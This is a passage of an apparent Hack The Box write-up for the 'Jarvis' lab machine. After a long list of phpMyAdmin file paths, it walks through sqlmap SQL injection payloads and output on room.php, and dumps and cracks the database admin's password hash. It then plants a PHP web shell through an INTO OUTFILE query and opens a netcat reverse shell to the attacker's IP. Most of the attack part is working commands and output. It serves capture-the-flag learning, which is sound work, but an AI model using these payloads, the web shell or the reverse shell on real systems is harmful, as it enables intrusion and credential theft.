/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/Grammar/Hash.php
/phpmyadmin/vendor/twig/twig/src/NodeVisitor/OptimizerNodeVisitor.php
/phpmyadmin/vendor/twig/twig/src/Node/DoNode.php
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/Grammar/Number.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/RenameOperation.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/RenameStatement.php
/phpmyadmin/vendor/twig/twig/src/Node/EmbedNode.php
/phpmyadmin/vendor/twig/twig/src/NodeVisitor/SafeAnalysisNodeVisitor.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/SetOperation.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/UnionKeyword.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/RepairStatement.php
/phpmyadmin/vendor/twig/twig/src/Extension/RuntimeExtensionInterface.php
/phpmyadmin/vendor/twig/twig/src/Extension/SandboxExtension.php
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/Grammar/Optional.php
/phpmyadmin/vendor/twig/twig/src/NodeVisitor/SandboxNodeVisitor.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/ReplaceStatement.php
/phpmyadmin/vendor/twig/twig/src/Extension/StagingExtension.php
/phpmyadmin/tmp/twig/aa/aa25bde16cc2677137faddce6186e9015160eea07ee217e6c770da2cd7622095.php
/phpmyadmin/vendor/twig/twig/src/Node/FlushNode.php
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/Grammar/Switch.php
/phpmyadmin/vendor/twig/twig/src/RuntimeLoader/ContainerRuntimeLoader.php
/phpmyadmin/vendor/twig/twig/src/Profiler/Profile.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/RestoreStatement.php
/phpmyadmin/vendor/twig/twig/src/Source.php
/phpmyadmin/vendor/twig/twig/src/Extension/StringLoaderExtension.php
/phpmyadmin/vendor/twig/twig/src/Profiler/Dumper/BaseDumper.php
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/Grammar/Tag.php
/phpmyadmin/vendor/twig/twig/src/RuntimeLoader/FactoryRuntimeLoader.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/SelectStatement.php
/phpmyadmin/vendor/twig/twig/src/Profiler/Node/EnterProfileNode.php
/phpmyadmin/vendor/twig/twig/src/Template.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/AbstractExpression.php
/phpmyadmin/vendor/twig/twig/src/Profiler/NodeVisitor/ProfilerNodeVisitor.php
/phpmyadmin/vendor/twig/twig/src/Node/ForLoopNode.php
/phpmyadmin/vendor/twig/twig/src/Sandbox/SecurityError.php
/phpmyadmin/vendor/twig/twig/src/RuntimeLoader/RuntimeLoaderInterface.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/SetStatement.php
/phpmyadmin/vendor/twig/twig/src/Profiler/Node/LeaveProfileNode.php
/phpmyadmin/vendor/twig/twig/src/TemplateWrapper.php
/phpmyadmin/vendor/twig/twig/src/Profiler/Dumper/BlackfireDumper.php
/phpmyadmin/vendor/twig/twig/src/Node/ForNode.php
/phpmyadmin/vendor/twig/twig/src/Sandbox/SecurityNotAllowedFilterError.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/ShowStatement.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/ArrayExpression.php
/phpmyadmin/vendor/twig/twig/src/Profiler/Dumper/HtmlDumper.php
/phpmyadmin/vendor/twig/twig/src/Node/IfNode.php
/phpmyadmin/vendor/twig/twig/src/Sandbox/SecurityNotAllowedFunctionError.php
/phpmyadmin/vendor/twig/twig/src/Node/ImportNode.php
/phpmyadmin/vendor/twig/twig/src/Test/IntegrationTestCase.php
/phpmyadmin/vendor/twig/twig/src/Sandbox/SecurityNotAllowedMethodError.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/TransactionStatement.php
/phpmyadmin/vendor/twig/twig/src/Token.php
/phpmyadmin/vendor/twig/twig/src/Test/NodeTestCase.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/TruncateStatement.php
/phpmyadmin/vendor/twig/twig/src/Profiler/Dumper/TextDumper.php
/phpmyadmin/vendor/twig/twig/src/Node/IncludeNode.php
/phpmyadmin/vendor/twig/twig/src/Sandbox/SecurityNotAllowedPropertyError.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/UpdateStatement.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/AssignNameExpression.php
/phpmyadmin/vendor/twig/twig/src/Sandbox/SecurityNotAllowedTagError.php
/phpmyadmin/vendor/twig/twig/src/Node/MacroNode.php
/phpmyadmin/vendor/twig/twig/src/Sandbox/SecurityPolicy.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/BlockReferenceExpression.php
/phpmyadmin/vendor/twig/twig/src/Node/ModuleNode.php
/phpmyadmin/vendor/twig/twig/src/Sandbox/SecurityPolicyInterface.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/AbstractBinary.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/CallExpression.php
/phpmyadmin/vendor/twig/twig/src/Node/Node.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/AddBinary.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/AndBinary.php
/phpmyadmin/vendor/twig/twig/src/TokenStream.php
/phpmyadmin/vendor/twig/twig/src/Node/NodeCaptureInterface.php
/phpmyadmin/vendor/twig/twig/src/TokenParser/AbstractTokenParser.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/BitwiseAndBinary.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/ConditionalExpression.php
/phpmyadmin/vendor/twig/twig/src/Node/NodeOutputInterface.php
/phpmyadmin/vendor/twig/twig/src/Node/PrintNode.php
/phpmyadmin/vendor/twig/twig/src/TwigFilter.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/BitwiseOrBinary.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/ConstantExpression.php
/phpmyadmin/vendor/twig/twig/src/TokenParser/AutoEscapeTokenParser.php
/phpmyadmin/vendor/twig/twig/src/TwigFunction.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/BitwiseXorBinary.php
/phpmyadmin/vendor/twig/twig/src/Node/SandboxNode.php
/phpmyadmin/vendor/twig/twig/src/TwigTest.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/ConcatBinary.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/FilterExpression.php
/phpmyadmin/vendor/twig/twig/src/Node/SandboxedPrintNode.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/DivBinary.php
/phpmyadmin/vendor/twig/twig/src/Node/SetNode.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Filter/DefaultFilter.php
/phpmyadmin/vendor/twig/twig/src/Node/SetTempNode.php
/phpmyadmin/vendor/twig/twig/src/Util/DeprecationCollector.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/EndsWithBinary.php
/phpmyadmin/vendor/twig/twig/src/Node/SpacelessNode.php
/phpmyadmin/vendor/twig/twig/src/Util/TemplateDirIterator.php
/phpmyadmin/vendor/twig/twig/src/TokenParser/BlockTokenParser.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/FunctionExpression.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/EqualBinary.php
/phpmyadmin/vendor/twig/twig/src/Node/TextNode.php
/phpmyadmin/vendor/twig/twig/src/TokenParser/DoTokenParser.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/GetAttrExpression.php
/phpmyadmin/vendor/twig/twig/src/Node/WithNode.php
/phpmyadmin/vendor/twig/twig/src/TokenParser/EmbedTokenParser.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/MethodCallExpression.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/FloorDivBinary.php
/phpmyadmin/vendor/twig/twig/src/TokenParser/ExtendsTokenParser.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/GreaterBinary.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/NameExpression.php
/phpmyadmin/vendor/twig/twig/src/TokenParser/FilterTokenParser.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/NullCoalesceExpression.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/GreaterEqualBinary.php
/phpmyadmin/vendor/twig/twig/src/TokenParser/FlushTokenParser.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/ParentExpression.php
/phpmyadmin/vendor/twig/twig/src/TokenParser/ForTokenParser.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/InBinary.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/TempNameExpression.php
/phpmyadmin/vendor/twig/twig/src/TokenParser/FromTokenParser.php
/phpmyadmin/vendor/twig/twig/src/TokenParser/IfTokenParser.php
/phpmyadmin/vendor/twig/twig/src/TokenParser/ImportTokenParser.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/LessBinary.php
/phpmyadmin/vendor/twig/twig/src/TokenParser/IncludeTokenParser.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/LessEqualBinary.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/TestExpression.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Test/ConstantTest.php
/phpmyadmin/vendor/twig/twig/src/TokenParser/MacroTokenParser.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/MatchesBinary.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Test/DefinedTest.php
/phpmyadmin/vendor/twig/twig/src/TokenParser/SandboxTokenParser.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/ModBinary.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Unary/AbstractUnary.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Test/DivisiblebyTest.php
/phpmyadmin/vendor/twig/twig/src/TokenParser/SetTokenParser.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/MulBinary.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Test/EvenTest.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Unary/NegUnary.php
/phpmyadmin/vendor/twig/twig/src/TokenParser/SpacelessTokenParser.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Unary/NotUnary.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Test/NullTest.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/NotEqualBinary.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Unary/PosUnary.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Test/OddTest.php
/phpmyadmin/vendor/twig/twig/src/TokenParser/TokenParserInterface.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/NotInBinary.php
/phpmyadmin/vendor/twig/twig/src/TokenParser/UseTokenParser.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/OrBinary.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Test/SameasTest.php
/phpmyadmin/vendor/twig/twig/src/TokenParser/WithTokenParser.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/PowerBinary.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/RangeBinary.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/StartsWithBinary.php
/phpmyadmin/vendor/twig/twig/src/Node/Expression/Binary/SubBinary.php
/phpmyadmin/setup/config.php
/phpmyadmin/tmp/twig/ca/cafd97dd89f8fc0e3cbe71e3f0b95c49c6c0eecd9536df530db51851f52460df.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/locale/ar/LC_MESSAGES/sqlparser.mo
/phpmyadmin/js/messages.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/locale/bg/LC_MESSAGES/sqlparser.mo
/phpmyadmin/templates/components/error_message.twig
/phpmyadmin/templates/config/form_display/errors.twig
/phpmyadmin/templates/config/form_display/fieldset_bottom.twig
/phpmyadmin/templates/config/form_display/fieldset_top.twig
/phpmyadmin/templates/config/form_display/form_bottom.twig
/phpmyadmin/templates/config/form_display/group_header.twig
/phpmyadmin/vendor/phpmyadmin/sql-parser/locale/cs/LC_MESSAGES/sqlparser.mo
/phpmyadmin/templates/error/report_form.twig
/phpmyadmin/vendor/phpmyadmin/sql-parser/locale/de/LC_MESSAGES/sqlparser.mo
/phpmyadmin/templates/export/alias_add.twig
/phpmyadmin/templates/export/alias_item.twig
/phpmyadmin/setup/index.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/locale/es/LC_MESSAGES/sqlparser.mo
```
It's interesting the following link `http://10.10.10.143/phpmyadmin/setup/` that contains a kind of admin panel. It's not clear how it linked to the actual website tho.
At http://10.10.10.143/room.php?cod=3 there are some parameter in the URL which makes us think of SQL injection.
We tried to run `root@Kali-XPS:~/Downloads# sqlmap -u "http://10.10.10.143/room.php?cod=2" --dbs` and we got the following result:
(source of inspiration: https://linuxhint.com/sql-injection-kali-linux/)
```
GET parameter 'cod' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 80 HTTP(s) requests:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=2 AND 2148=2148
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cod=2 AND (SELECT 3116 FROM (SELECT(SLEEP(5)))cnzH)
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-3619 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71706b7171,0x5679527a4a676349686d66775063436c6e426443484844564f4c416b4870797061494b4d556f6954,0x71716b7671),NULL,NULL-- ZQwU
---
[20:08:53] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: PHP, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[20:08:53] [INFO] fetching database names
[20:08:54] [INFO] used SQL query returns 4 entries
[20:08:54] [INFO] retrieved: 'hotel'
[20:08:54] [INFO] retrieved: 'information_schema'
[20:08:54] [INFO] retrieved: 'mysql'
[20:08:54] [INFO] retrieved: 'performance_schema'
available databases [4]:
[*] hotel
[*] information_schema
[*] mysql
[*] performance_schema
[20:08:54] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.143'
[*] ending @ 20:08:54 /2019-09-18/
```
Using the following command, we can enumerate the single databases: `sqlmap -u "http://10.10.10.143/room.php?cod=3" -D mysql --tables`
The content of the database `mysql` is the following:
```
[19:18:17] [INFO] fetching tables for database: 'mysql'
[19:18:17] [INFO] used SQL query returns 30 entries
Database: mysql
[30 tables]
+---------------------------+
| user |
| column_stats |
| columns_priv |
| db |
| event |
| func |
| general_log |
| gtid_slave_pos |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| index_stats |
| innodb_index_stats |
| innodb_table_stats |
| plugin |
| proc |
| procs_priv |
| proxies_priv |
| roles_mapping |
| servers |
| slow_log |
| table_stats |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
+---------------------------+
[19:18:17] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.143'
[*] ending @ 19:18:17 /2019-09-19/
```
We enumerate the table user:
```
# sqlmap -u "http://10.10.10.143/room.php?cod=3" -D mysql -T user --columns
[...]
Database: mysql
Table: user
[46 columns]
+------------------------+-----------------------------------+
| Column | Type |
+------------------------+-----------------------------------+
| User | char(80) |
| Alter_priv | enum('N','Y') |
| Alter_routine_priv | enum('N','Y') |
| authentication_string | text |
| Create_priv | enum('N','Y') |
| Create_routine_priv | enum('N','Y') |
| Create_tablespace_priv | enum('N','Y') |
| Create_tmp_table_priv | enum('N','Y') |
| Create_user_priv | enum('N','Y') |
| Create_view_priv | enum('N','Y') |
| default_role | char(80) |
| Delete_priv | enum('N','Y') |
| Drop_priv | enum('N','Y') |
| Event_priv | enum('N','Y') |
| Execute_priv | enum('N','Y') |
| File_priv | enum('N','Y') |
| Grant_priv | enum('N','Y') |
| Host | char(60) |
| Index_priv | enum('N','Y') |
| Insert_priv | enum('N','Y') |
| is_role | enum('N','Y') |
| Lock_tables_priv | enum('N','Y') |
| max_connections | int(11) unsigned |
| max_questions | int(11) unsigned |
| max_statement_time | decimal(12,6) |
| max_updates | int(11) unsigned |
| max_user_connections | int(11) |
| Password | char(41) |
| password_expired | enum('N','Y') |
| plugin | char(64) |
| Process_priv | enum('N','Y') |
| References_priv | enum('N','Y') |
| Reload_priv | enum('N','Y') |
| Repl_client_priv | enum('N','Y') |
| Repl_slave_priv | enum('N','Y') |
| Select_priv | enum('N','Y') |
| Show_db_priv | enum('N','Y') |
| Show_view_priv | enum('N','Y') |
| Shutdown_priv | enum('N','Y') |
| ssl_cipher | blob |
| ssl_type | enum('','ANY','X509','SPECIFIED') |
| Super_priv | enum('N','Y') |
| Trigger_priv | enum('N','Y') |
| Update_priv | enum('N','Y') |
| x509_issuer | blob |
| x509_subject | blob |
+------------------------+-----------------------------------+
[17:19:34] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.143'
[*] ending @ 17:19:34 /2019-09-23/
```
Here we can see there are username and passwords that we can dump with the following command:` # sqlmap -u "http://10.10.10.143/room.php?cod=3" -D mysql -T user -C User,Password --dump
`
The command gives us the option also to crack the hashes of the password. We do that using rockyou.txt wordlist.
This is the result:
```
Database: mysql
Table: user
[1 entry]
+---------+------------------------------------------------------+
| User | Password |
+---------+------------------------------------------------------+
| DBadmin | *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0 (imissyou) |
+---------+------------------------------------------------------+
[17:29:55] [INFO] table 'mysql.`user`' dumped to CSV file '/root/.sqlmap/output/10.10.10.143/dump/mysql/user.csv'
[17:29:55] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.143'
```
Using this credentials we can log in the phpmyadmin panel at `http://10.10.10.143/phpmyadmin/`.
Now, we can use the PHPmyadmin panel to inject a reverse shell in the target machine. (source of inspiration: https://www.hackingarticles.in/shell-uploading-web-server-phpmyadmin/).
We just need to create a new database with a random name and then go in the SQL tab to run an SQL query that stores the ouput in a file:
`SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/michelino.php'`
Now, we can run a command on the remote machine using that php script: `http://10.10.10.143/michelino.php?cmd=<command-to-run>`
Weird enough, if we use gobuster adding "michelino" in the wordlist we cannot find the file we just uploaded:
```
root@Kali-XPS:~/Desktop/hackthebox/jarvis# gobuster dir -e -u "http://10.10.10.143/" -w ~/Desktop/hackthebox/jarvis/mycommon.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.143/
[+] Threads: 10
[+] Wordlist: /root/Desktop/hackthebox/jarvis/mycommon.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2019/09/23 18:25:15 Starting gobuster
===============================================================
http://10.10.10.143/.hta (Status: 403)
http://10.10.10.143/.htaccess (Status: 403)
http://10.10.10.143/.htpasswd (Status: 403)
http://10.10.10.143/css (Status: 301)
http://10.10.10.143/fonts (Status: 301)
http://10.10.10.143/images (Status: 301)
http://10.10.10.143/index.php (Status: 200)
http://10.10.10.143/js (Status: 301)
http://10.10.10.143/phpmyadmin (Status: 301)
http://10.10.10.143/server-status (Status: 403)
===============================================================
2019/09/23 18:25:33 Finished
===============================================================
```
Now, let's try to run a command that starts a reverse shell.
On our machine, we listen on port 5555: `nc -lvp 5555`
Then, we enable the remote shell browsing to the following path: `10.10.10.143/michelino.php?cmd=nc 10.10.13.137 5555 -e /bin/sh`
where `10.10.13.135` is our IP.
(source of inspiration: https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/)
However, we are looged in as www-data users:
```
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
Thus, we have no permission to read the user flag:
```
ls -al /home/pepper
total 48
drwxr-xr-x 5 pepper pepper 4096 Sep 23 12:23 .
drwxr-xr-x 3 root root 4096 Mar 2 2019 ..
lrwxrwxrwx 1 root root 9 Mar 4 2019 .bash_history -> /dev/null
-rw-r--r-- 1 pepper pepper 220 Mar 2 2019 .bash_logout
-rw-r--r-- 1 pepper pepper 3526 Mar 2 2019 .bashrc
-rw------- 1 root pepper 31 Sep 23 07:42 .lesshst
drwxr-xr-x 2 pepper pepper 4096 Mar 2 2019 .nano
-rw-r--r-- 1 pepper pepper 675 Mar 2 2019 .profile
drwxr-xr-x 2 pepper pepper 4096 Sep 23 12:24 .ssh
drwxr-xr-x 3 pepper pepper 4096 Mar 4 2019 Web
-rw-r--r-- 1 pepper pepper 127 Sep 23 12:26 a.service
-rw-r--r-- 1 pepper pepper 127 Sep 23 08:21 a.service.orig
-r--r----- 1 root pepper 33 Mar 5 2019 user.txt
```
Sign in with Wallet
Connect another wallet